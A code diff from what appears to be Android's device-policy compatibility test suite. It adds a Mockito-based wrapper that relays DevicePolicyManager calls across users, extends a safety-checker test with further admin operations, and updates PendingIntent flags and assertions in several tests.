@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyLong;
+import static org.mockito.Mockito.doAnswer;
+
+import android.annotation.Nullable;
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.util.DebugUtils;
+import android.util.Log;
+import android.util.Slog;
+
+import org.mockito.Mockito;
+import org.mockito.stubbing.Answer;
+
+import java.io.Serializable;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Class used to create to provide a {@link DevicePolicyManager} implementation that automatically
+ * funnels calls between the user running the tests and the user that is the device owner.
+ */
+// TODO(b/176993670): STOPSHIP - it currently uses ordered broadcasts and a Mockito spy to implement
+// the IPC between users, but before S is shipped it should be changed to use the connected apps SDK
+// or the new CTS infrastructure.
+public final class DevicePolicyManagerWrapper {
+
+ private static final String TAG = DevicePolicyManagerWrapper.class.getSimpleName();
+ private static final boolean VERBOSE = false;
+
+ static final String ACTION_WRAPPED_DPM_CALL =
+ "com.android.cts.deviceowner.action.WRAPPED_DPM_CALL";
+
+ private static final String EXTRA_METHOD = "methodName";
+ private static final String EXTRA_NUMBER_ARGS = "number_args";
+ private static final String EXTRA_ARG_PREFIX = "arg_";
+
+ // NOTE: Bundle has a putObject() method that would make it much easier to marshal the args,
+ // but unfortunately there is no Intent.putObjectExtra() method (and intent.getBundle() returns
+ // a copy, so we need to explicitly marshal any supported type).
+ private static final String TYPE_BOOLEAN = "boolean";
+ private static final String TYPE_STRING = "string";
+ private static final String TYPE_LONG = "long";
+ private static final String TYPE_PARCELABLE = "parcelable";
+ private static final String TYPE_SERIALIZABLE = "serializable";
+ private static final String TYPE_ARRAY_LIST_STRING = "array_list_string";
+
+ public static final int RESULT_OK = 42;
+ public static final int RESULT_EXCEPTION = 666;
+
+ private static final int TIMEOUT_MS = 15_000;
+
+ private static final HashMap<Context, DevicePolicyManager> sSpies = new HashMap<>();
+
+ /***
+ * Gets the {@link DevicePolicyManager} for the given context.
+ *
+ * <p>Tests should use this method to get a {@link DevicePolicyManager} instance.
+ */
+ public static DevicePolicyManager get(Context context) {
+ int userId = context.getUserId();
+ DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+
+ if (!UserManager.isHeadlessSystemUserMode()) {
+ if (VERBOSE) Log.v(TAG, "get(): returning 'pure' DevicePolicyManager: " + dpm);
+ return dpm;
+ }
+
+ DevicePolicyManager spy = sSpies.get(context);
+ if (spy != null) {
+ Log.d(TAG, "get(): returning cached spy for context " + context + " and user "
+ + userId);
+ return spy;
+ }
+
+ spy = Mockito.spy(dpm);
+
+ Answer<?> answer = (inv) -> {
+ Slog.d(TAG, "spying " + inv);
+ Object[] args = inv.getArguments();
+ String methodName = inv.getMethod().getName();
+ Intent intent = new Intent(ACTION_WRAPPED_DPM_CALL)
+ .setClassName(context, BasicAdminReceiver.class.getName())
+ .putExtra(EXTRA_METHOD, methodName)
+ .putExtra(EXTRA_NUMBER_ARGS, args.length);
+ for (int i = 0; i < args.length; i++) {
+ addArg(intent, args, i);
+ }
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final AtomicReference<Result> resultRef = new AtomicReference<>();
+ BroadcastReceiver myReceiver = new BroadcastReceiver() {
+ public void onReceive(Context context, Intent intent) {
+ if (VERBOSE) {
+ Log.v(TAG, "spy received intent " + intent.getAction() + " for user "
+ + context.getUserId());
+ }
+ Result result = new Result(this);
+ if (VERBOSE) Log.v(TAG, "result:" + result);
+ resultRef.set(result);
+ latch.countDown();
+ };
+
+ };
+ if (VERBOSE) {
+ Log.v(TAG, "Broadcasting intent from user " + userId + " to user "
+ + UserHandle.SYSTEM);
+ }
+ runWithShellPermissionIdentity(() -> context.sendOrderedBroadcastAsUser(intent,
+ UserHandle.SYSTEM, /* permission= */ null, myReceiver, /* scheduler= */ null,
+ /* initialCode= */ 0, /* initialData= */ null, /* initialExtras= */ null));
+
+ if (VERBOSE) Log.d(TAG, "Waiting for response");
+ if (!latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+ fail("Ordered broadcast for " + methodName + "() not received in " + TIMEOUT_MS
+ + "ms");
+ }
+
+ Result result = resultRef.get();
+ Log.d(TAG, "Received result on user " + userId + ": " + result);
+
+ switch (result.code) {
+ case RESULT_OK:
+ return result.value;
+ case RESULT_EXCEPTION:
+ throw (Exception) result.value;
+ default:
+ fail("Received invalid result" + result);
+ return null;
+ }
+ };
+
+ // TODO(b/176993670): ideally there should be a way to automatically mock all DPM methods,
+ // but that's probably not doable, as there is no contract (such as an interface) to specify
+ // which ones should be spied and which ones should not (in fact, if there was an interface,
+ // we wouldn't need Mockito and could wrap the calls using java's DynamicProxy
+
+ // Basic methods used by most tests
+ doAnswer(answer).when(spy).isAdminActive(any());
+ doAnswer(answer).when(spy).isDeviceOwnerApp(any());
+ doAnswer(answer).when(spy).isManagedProfile(any());
+ doAnswer(answer).when(spy).isProfileOwnerApp(any());
+ doAnswer(answer).when(spy).isAffiliatedUser();
+
+ // Used by SetTimeTest
+ doAnswer(answer).when(spy).setTime(any(), anyLong());
+ doAnswer(answer).when(spy).setTimeZone(any(), any());
+ doAnswer(answer).when(spy).setGlobalSetting(any(), any(), any());
+
+ // Used by UserControlDisabledPackagesTest
+ doAnswer(answer).when(spy).setUserControlDisabledPackages(any(), any());
+ doAnswer(answer).when(spy).getUserControlDisabledPackages(any());
+
+ // TODO(b/176993670): add more methods below as tests are converted
+
+ sSpies.put(context, spy);
+ Log.d(TAG, "get(): returning new spy for context " + context + " and user "
+ + userId);
+
+ return spy;
+ }
+
+ /**
+ * Handles the wrapped DPM call received by the {@link DeviceAdminReceiver}.
+ */
+ static void onReceive(DeviceAdminReceiver receiver, Context context, Intent intent) {
+ try {
+ String methodName = intent.getStringExtra(EXTRA_METHOD);
+ int numberArgs = intent.getIntExtra(EXTRA_NUMBER_ARGS, 0);
+ Log.d(TAG, "onReceive(): userId=" + context.getUserId()
+ + ", intent=" + intent.getAction() + ", methodName=" + methodName
+ + ", numberArgs=" + numberArgs);
+ Object[] args = null;
+ if (numberArgs > 0) {
+ args = new Object[numberArgs];
+ Bundle extras = intent.getExtras();
+ for (int i = 0; i < numberArgs; i++) {
+ getArg(extras, args, i);
+ }
+ Log.d(TAG, "onReceive(): args=" + Arrays.toString(args));
+ }
+
+ Method method = null;
+ for (Method candidate : DevicePolicyManager.class.getDeclaredMethods()) {
+ if (candidate.getName().equals(methodName)) {
+ // TODO(b/176993670): might need to use args to infer proper method if it's
+ // overloaded
+ method = candidate;
+ break;
+ }
+ }
+ if (method == null) {
+ sendError(receiver, new IllegalArgumentException(
+ "Could not find method " + methodName + " using reflection"));
+ return;
+ }
+ Object result = method.invoke(receiver.getManager(context), args);
+ Log.d(TAG, "onReceive(): result=" + result);
+ sendResult(receiver, result);
+ } catch (Exception e) {
+ sendError(receiver, e);
+ }
+ return;
+ }
+
+
+ static void addArg(Intent intent, Object[] args, int index) {
+ Object value = args[index];
+ String extraTypeName = getArgExtraTypeName(index);
+ String extraValueName = getArgExtraValueName(index);
+ if (VERBOSE) {
+ Log.v(TAG, "addArg(" + index + "): typeName= " + extraTypeName
+ + ", valueName= " + extraValueName);
+ }
+ if ((value instanceof Boolean)) {
+ logMarshalling("Adding Boolean", index, extraTypeName, TYPE_BOOLEAN,
+ extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_BOOLEAN);
+ intent.putExtra(extraValueName, ((Boolean) value).booleanValue());
+ return;
+ }
+ if ((value instanceof String)) {
+ logMarshalling("Adding String", index, extraTypeName, TYPE_STRING,
+ extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_STRING);
+ intent.putExtra(extraValueName, (String) value);
+ return;
+ }
+ if ((value instanceof Long)) {
+ logMarshalling("Adding Long", index, extraTypeName, TYPE_LONG,
+ extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_LONG);
+ intent.putExtra(extraValueName, ((Long) value).longValue());
+ return;
+ }
+ if ((value instanceof Parcelable)) {
+ logMarshalling("Adding Parcelable", index, extraTypeName, TYPE_PARCELABLE,
+ extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_PARCELABLE);
+ intent.putExtra(extraValueName, (Parcelable) value);
+ return;
+ }
+ if ((value instanceof Serializable)) {
+ logMarshalling("Adding Serializable", index, extraTypeName, TYPE_SERIALIZABLE,
+ extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_SERIALIZABLE);
+ intent.putExtra(extraValueName, (Serializable) value);
+ return;
+ }
+ if ((value instanceof ArrayList<?>)) {
+ ArrayList<?> arrayList = (ArrayList<?>) value;
+ String type = null;
+ if (arrayList.isEmpty()) {
+ Log.w(TAG, "Empty list at index " + index + "; assuming it's ArrayList<String>");
+ } else {
+ Object firstItem = arrayList.get(0);
+ if (!(firstItem instanceof String)) {
+ throw new IllegalArgumentException("Unsupported ArrayList type at index "
+ + index + ": " + firstItem);
+ }
+ logMarshalling("Adding ArrayList<String>", index, extraTypeName,
+ TYPE_ARRAY_LIST_STRING, extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_ARRAY_LIST_STRING);
+ intent.putExtra(extraValueName, (ArrayList<String>) arrayList);
+ }
+ return;
+ }
+
+ throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+ + value.getClass());
+ }
+
+ static void getArg(Bundle extras, Object[] args, int index) {
+ String extraTypeName = getArgExtraTypeName(index);
+ String extraValueName = getArgExtraValueName(index);
+ String type = extras.getString(extraTypeName);
+ if (VERBOSE) {
+ Log.v(TAG, "getArg(" + index + "): typeName= " + extraTypeName + ", type=" + type
+ + ", valueName= " + extraValueName);
+ }
+ Object value = null;
+ switch (type) {
+ case TYPE_ARRAY_LIST_STRING:
+ case TYPE_STRING:
+ case TYPE_BOOLEAN:
+ case TYPE_LONG:
+ case TYPE_PARCELABLE:
+ case TYPE_SERIALIZABLE:
+ value = extras.get(extraValueName);
+ logMarshalling("Got generic", index, extraTypeName, type, extraValueName,
+ value);
+ break;
+ default:
+ throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+ + extraTypeName);
+ }
+ args[index] = value;
+ }
+
+ static String getArgExtraTypeName(int index) {
+ return EXTRA_ARG_PREFIX + index + "_type";
+ }
+
+ static String getArgExtraValueName(int index) {
+ return EXTRA_ARG_PREFIX + index + "_value";
+ }
+
+ private static void logMarshalling(String operation, int index, String typeName,
+ String type, String valueName, Object value) {
+ if (VERBOSE) {
+ Log.v(TAG, operation + " on " + index + ": typeName=" + typeName + ", type=" + type
+ + ", valueName=" + valueName + ", value=" + value);
+ }
+ }
+
+ private static void sendError(DeviceAdminReceiver receiver, Exception e) {
+ Log.e(TAG, "Exception handling wrapped DPC call" , e);
+ sendNoLog(receiver, RESULT_EXCEPTION, e);
+ }
+
+ private static void sendResult(DeviceAdminReceiver receiver, Object result) {
+ if (VERBOSE) Log.v(TAG, "Returning " + result);
+ sendNoLog(receiver, RESULT_OK, result);
+ }
+
+ private static void sendNoLog(DeviceAdminReceiver receiver, int code, Object result) {
+ receiver.setResultCode(code);
+ if (result != null) {
+ Intent intent = new Intent();
+ addArg(intent, new Object[] { result }, /* index= */ 0);
+ receiver.setResultExtras(intent.getExtras());
+ }
+ }
+
+ private static String resultCodeToString(int code) {
+ return DebugUtils.constantToString(DevicePolicyManagerWrapper.class, "RESULT_", code);
+ }
+
+ private DevicePolicyManagerWrapper() {
+ throw new UnsupportedOperationException("contains only static methods");
+ }
+
+ private static final class Result {
+ public final int code;
+ @Nullable public final String error;
+ @Nullable public final Bundle extras;
+ @Nullable public final Object value;
+
+ Result(BroadcastReceiver receiver) {
+ int resultCode = receiver.getResultCode();
+ String data = receiver.getResultData();
+ extras = receiver.getResultExtras(/* makeMap= */ true);
+ Object parsedValue = null;
+ try {
+ if (extras != null && !extras.isEmpty()) {
+ Object[] result = new Object[1];
+ int index = 0;
+ getArg(extras, result, index);
+ parsedValue = result[index];
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "error parsing extras (code=" + resultCode + ", data=" + data, e);
+ data = "error parsing extras";
+ resultCode = RESULT_EXCEPTION;
+ }
+ code = resultCode;
+ error = data;
+ value = parsedValue;
+ }
+
+ @Override
+ public String toString() {
+ return "Result[code=" + resultCodeToString(code) + ", error=" + error
+ + ", extras=" + extras + ", value=" + value + "]";
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index e3e8cf1..7578e8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -18,12 +18,18 @@
import static android.app.admin.DevicePolicyManager.OPERATION_CREATE_AND_MANAGE_USER;
import static android.app.admin.DevicePolicyManager.OPERATION_REBOOT;
import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REQUEST_BUGREPORT;
import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_HIDDEN;
import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_CAMERA_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_GLOBAL_PRIVATE_DNS;
import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEEP_UNINSTALLED_PACKAGES;
import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEYGUARD_DISABLED;
import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_FEATURES;
import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOGOUT_ENABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_OVERRIDE_APNS_ENABLED;
import static android.app.admin.DevicePolicyManager.OPERATION_SET_PACKAGES_SUSPENDED;
import static android.app.admin.DevicePolicyManager.OPERATION_SET_STATUS_BAR_DISABLED;
import static android.app.admin.DevicePolicyManager.OPERATION_SET_SYSTEM_SETTING;
@@ -33,9 +39,11 @@
import static android.app.admin.DevicePolicyManager.OPERATION_START_USER_IN_BACKGROUND;
import static android.app.admin.DevicePolicyManager.OPERATION_STOP_USER;
import static android.app.admin.DevicePolicyManager.OPERATION_SWITCH_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_UNINSTALL_CA_CERT;
import static android.app.admin.DevicePolicyManager.OPERATION_WIPE_DATA;
import android.app.admin.DevicePolicyManager;
+import android.app.admin.FactoryResetProtectionPolicy;
import android.content.ComponentName;
import android.os.Bundle;
import android.os.UserHandle;
@@ -51,14 +59,29 @@
* {@link android.app.admin.DevicePolicySafetyChecker}.
*/
public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOwnerTest {
-
private static final int NO_FLAGS = 0;
private static final UserHandle USER_HANDLE = UserHandle.of(42);
public static final String TEST_PACKAGE = BasicAdminReceiver.class.getPackage().getName();
public static final ComponentName TEST_COMPONENT = new ComponentName(
TEST_PACKAGE, BasicAdminReceiver.class.getName());
+ public static final List<String> TEST_ACCOUNTS = Arrays.asList("Account 1");
public static final List<String> TEST_PACKAGES = Arrays.asList(TEST_PACKAGE);
-
+ private static final String TEST_CA =
+ "-----BEGIN CERTIFICATE-----\n"
+ + "MIICVzCCAgGgAwIBAgIJAMvnLHnnfO/IMA0GCSqGSIb3DQEBBQUAMIGGMQswCQYD\n"
+ + "VQQGEwJJTjELMAkGA1UECAwCQVAxDDAKBgNVBAcMA0hZRDEVMBMGA1UECgwMSU1G\n"
+ + "TCBQVlQgTFREMRAwDgYDVQQLDAdJTUZMIE9VMRIwEAYDVQQDDAlJTUZMLklORk8x\n"
+ + "HzAdBgkqhkiG9w0BCQEWEHJhbWVzaEBpbWZsLmluZm8wHhcNMTMwODI4MDk0NDA5\n"
+ + "WhcNMjMwODI2MDk0NDA5WjCBhjELMAkGA1UEBhMCSU4xCzAJBgNVBAgMAkFQMQww\n"
+ + "CgYDVQQHDANIWUQxFTATBgNVBAoMDElNRkwgUFZUIExURDEQMA4GA1UECwwHSU1G\n"
+ + "TCBPVTESMBAGA1UEAwwJSU1GTC5JTkZPMR8wHQYJKoZIhvcNAQkBFhByYW1lc2hA\n"
+ + "aW1mbC5pbmZvMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJ738cbTQlNIO7O6nV/f\n"
+ + "DJTMvWbPkyHYX8CQ7yXiAzEiZ5bzKJjDJmpRAkUrVinljKns2l6C4++l/5A7pFOO\n"
+ + "33kCAwEAAaNQME4wHQYDVR0OBBYEFOdbZP7LaMbgeZYPuds2CeSonmYxMB8GA1Ud\n"
+ + "IwQYMBaAFOdbZP7LaMbgeZYPuds2CeSonmYxMAwGA1UdEwQFMAMBAf8wDQYJKoZI\n"
+ + "hvcNAQEFBQADQQBdrk6J9koyylMtl/zRfiMAc2zgeC825fgP6421NTxs1rjLs1HG\n"
+ + "VcUyQ1/e7WQgOaBHi9TefUJi+4PSVSluOXon\n"
+ + "-----END CERTIFICATE-----";
private final DevicePolicySafetyCheckerIntegrationTester mTester =
new DevicePolicySafetyCheckerIntegrationTester() {
@@ -66,14 +89,23 @@
protected int[] getSafetyAwareOperations() {
return new int [] {
OPERATION_CREATE_AND_MANAGE_USER,
+ // TODO(b/175245108) Add test for this operation; testing
+ // dpm.installSystemUpdate will require upload a test system update file.
+ // OPERATION_INSTALL_SYSTEM_UPDATE,
OPERATION_REBOOT,
OPERATION_REMOVE_USER,
+ OPERATION_REQUEST_BUGREPORT,
OPERATION_SET_APPLICATION_HIDDEN,
OPERATION_SET_APPLICATION_RESTRICTIONS,
+ OPERATION_SET_CAMERA_DISABLED,
+ OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY,
+ OPERATION_SET_GLOBAL_PRIVATE_DNS,
OPERATION_SET_KEEP_UNINSTALLED_PACKAGES,
OPERATION_SET_KEYGUARD_DISABLED,
OPERATION_SET_LOCK_TASK_FEATURES,
OPERATION_SET_LOCK_TASK_PACKAGES,
+ OPERATION_SET_LOGOUT_ENABLED,
+ OPERATION_SET_OVERRIDE_APNS_ENABLED,
OPERATION_SET_PACKAGES_SUSPENDED,
OPERATION_SET_STATUS_BAR_DISABLED,
OPERATION_SET_SYSTEM_SETTING,
@@ -83,6 +115,7 @@
OPERATION_START_USER_IN_BACKGROUND,
OPERATION_STOP_USER,
OPERATION_SWITCH_USER,
+ OPERATION_UNINSTALL_CA_CERT,
OPERATION_WIPE_DATA
};
}
@@ -108,12 +141,28 @@
case OPERATION_REMOVE_USER:
dpm.removeUser(admin, USER_HANDLE);
break;
+ case OPERATION_REQUEST_BUGREPORT:
+ dpm.requestBugreport(admin);
+ break;
case OPERATION_SET_APPLICATION_HIDDEN:
dpm.setApplicationHidden(admin, TEST_PACKAGE, /* hidden= */true);
break;
case OPERATION_SET_APPLICATION_RESTRICTIONS:
dpm.setApplicationRestrictions(admin, TEST_PACKAGE, new Bundle());
break;
+ case OPERATION_SET_CAMERA_DISABLED:
+ dpm.setCameraDisabled(admin, /* disabled= */ true);
+ break;
+ case OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY:
+ dpm.setFactoryResetProtectionPolicy(admin,
+ new FactoryResetProtectionPolicy.Builder()
+ .setFactoryResetProtectionAccounts(TEST_ACCOUNTS)
+ .setFactoryResetProtectionEnabled(false)
+ .build());
+ break;
+ case OPERATION_SET_GLOBAL_PRIVATE_DNS:
+ dpm.setGlobalPrivateDnsModeOpportunistic(admin);
+ break;
case OPERATION_SET_KEEP_UNINSTALLED_PACKAGES:
dpm.setKeepUninstalledPackages(admin, TEST_PACKAGES);
break;
@@ -126,6 +175,12 @@
case OPERATION_SET_LOCK_TASK_PACKAGES:
dpm.setLockTaskPackages(admin, new String[] { TEST_PACKAGE });
break;
+ case OPERATION_SET_LOGOUT_ENABLED:
+ dpm.setLogoutEnabled(admin, /* enabled */ true);
+ break;
+ case OPERATION_SET_OVERRIDE_APNS_ENABLED:
+ dpm.setOverrideApnsEnabled(admin, /* enabled */ true);
+ break;
case OPERATION_SET_PACKAGES_SUSPENDED:
dpm.setPackagesSuspended(admin, new String[] { TEST_PACKAGE },
/* suspend= */ true);
@@ -155,6 +210,9 @@
case OPERATION_SWITCH_USER:
dpm.switchUser(admin, USER_HANDLE);
break;
+ case OPERATION_UNINSTALL_CA_CERT:
+ dpm.uninstallCaCert(admin, TEST_CA.getBytes());
+ break;
case OPERATION_WIPE_DATA:
if (overloaded) {
dpm.wipeData(NO_FLAGS,
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
index 5280e06..bf85af0 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
@@ -126,7 +126,7 @@
mContext,
REQUEST_CODE,
broadcastIntent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pendingIntent.getIntentSender();
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index de1dd55..927520a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -16,6 +16,9 @@
package com.android.cts.deviceowner;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
@@ -23,7 +26,6 @@
import android.util.Log;
import java.util.ArrayList;
-import java.util.Collections;
/**
* Test {@link DevicePolicyManager#setUserControlDisabledPackages} and
@@ -44,13 +46,12 @@
ArrayList<String> protectedPackages= new ArrayList<>();
protectedPackages.add(SIMPLE_APP_PKG);
mDevicePolicyManager.setUserControlDisabledPackages(getWho(), protectedPackages);
-
- // Launch app so that the app exits stopped state.
+ // Launch an activity so that the app exits stopped state.
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.setClassName(SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ Log.d(TAG, "Starting " + intent + " on user " + mUserId);
mContext.startActivity(intent);
-
}
public void testForceStopWithUserControlDisabled() throws Exception {
@@ -59,29 +60,35 @@
// Check if package is part of UserControlDisabledPackages before checking if
// package is stopped since it is a necessary condition to prevent stopping of
// package
- assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
- assertFalse(isPackageStopped(SIMPLE_APP_PKG));
+
+ assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
+ .containsExactly(SIMPLE_APP_PKG);
+ assertPackageStopped(/* stopped= */ false);
}
public void testClearSetUserControlDisabledPackages() throws Exception {
final ArrayList<String> pkgs = new ArrayList<>();
mDevicePolicyManager.setUserControlDisabledPackages(getWho(), pkgs);
- assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+ assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
}
public void testForceStopWithUserControlEnabled() throws Exception {
- assertTrue(isPackageStopped(SIMPLE_APP_PKG));
- assertEquals(Collections.emptyList(),
- mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+ assertPackageStopped(/* stopped= */ true);
+ assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
}
private boolean isPackageStopped(String packageName) throws Exception {
PackageInfo packageInfo = mContext.getPackageManager()
.getPackageInfo(packageName, PackageManager.GET_META_DATA);
- Log.d(TAG, "Application flags for " + packageName + " = "
- + Integer.toHexString(packageInfo.applicationInfo.flags));
- return ((packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
- == ApplicationInfo.FLAG_STOPPED) ? true : false;
+ boolean stopped = (packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
+ == ApplicationInfo.FLAG_STOPPED;
+ Log.d(TAG, "Application flags for " + packageName + " on user " + mUserId + " = "
+ + Integer.toHexString(packageInfo.applicationInfo.flags) + ". Stopped: " + stopped);
+ return stopped;
}
+ private void assertPackageStopped(boolean stopped) throws Exception {
+ assertWithMessage("Package %s stopped for user %s", SIMPLE_APP_PKG, mUserId)
+ .that(isPackageStopped(SIMPLE_APP_PKG)).isEqualTo(stopped);
+ }
}
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
index 57cbab9..896efe7 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
@@ -154,7 +154,7 @@
mContext,
sessionId,
broadcastIntent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pendingIntent.getIntentSender();
}
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
index 764ed3c..1165ef3 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
@@ -36,7 +36,7 @@
Intent intent = new Intent(Intent.ACTION_MAIN);
PendingIntent pendingIntent = PendingIntent.getActivity(
InstrumentationRegistry.getContext(),
- 1, intent, 0);
+ 1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
usm.registerAppUsageObserver(obsId, packages, 60, TimeUnit.SECONDS, pendingIntent);
usm.unregisterAppUsageObserver(obsId);
@@ -56,7 +56,7 @@
Intent intent = new Intent(Intent.ACTION_MAIN);
PendingIntent pendingIntent = PendingIntent.getActivity(
InstrumentationRegistry.getContext(),
- 1, intent, 0);
+ 1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
usm.registerUsageSessionObserver(obsId, packages, Duration.ofSeconds(60),
Duration.ofSeconds(10), pendingIntent, null);
@@ -77,7 +77,7 @@
Intent intent = new Intent(Intent.ACTION_MAIN);
PendingIntent pendingIntent = PendingIntent.getActivity(
InstrumentationRegistry.getContext(),
- 1, intent, 0);
+ 1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
// Register too many AppUsageObservers
for (int obsId = 0; obsId < OBSERVER_LIMIT; obsId++) {
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
index 15cc3f6..efe511a 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
@@ -38,12 +38,14 @@
@Override
public void onStart() {
super.onStart();
+ Log.i(TAG, "Starting SimpleActivityImmediateExit.");
finish();
}
@Override
protected void onStop() {
super.onStop();
+ Log.i(TAG, "Stopping SimpleActivityImmediateExit.");
// Notify any listener that this activity is about to end now.
Intent reply = new Intent();
reply.setAction(ACTIVITY_EXIT_ACTION);
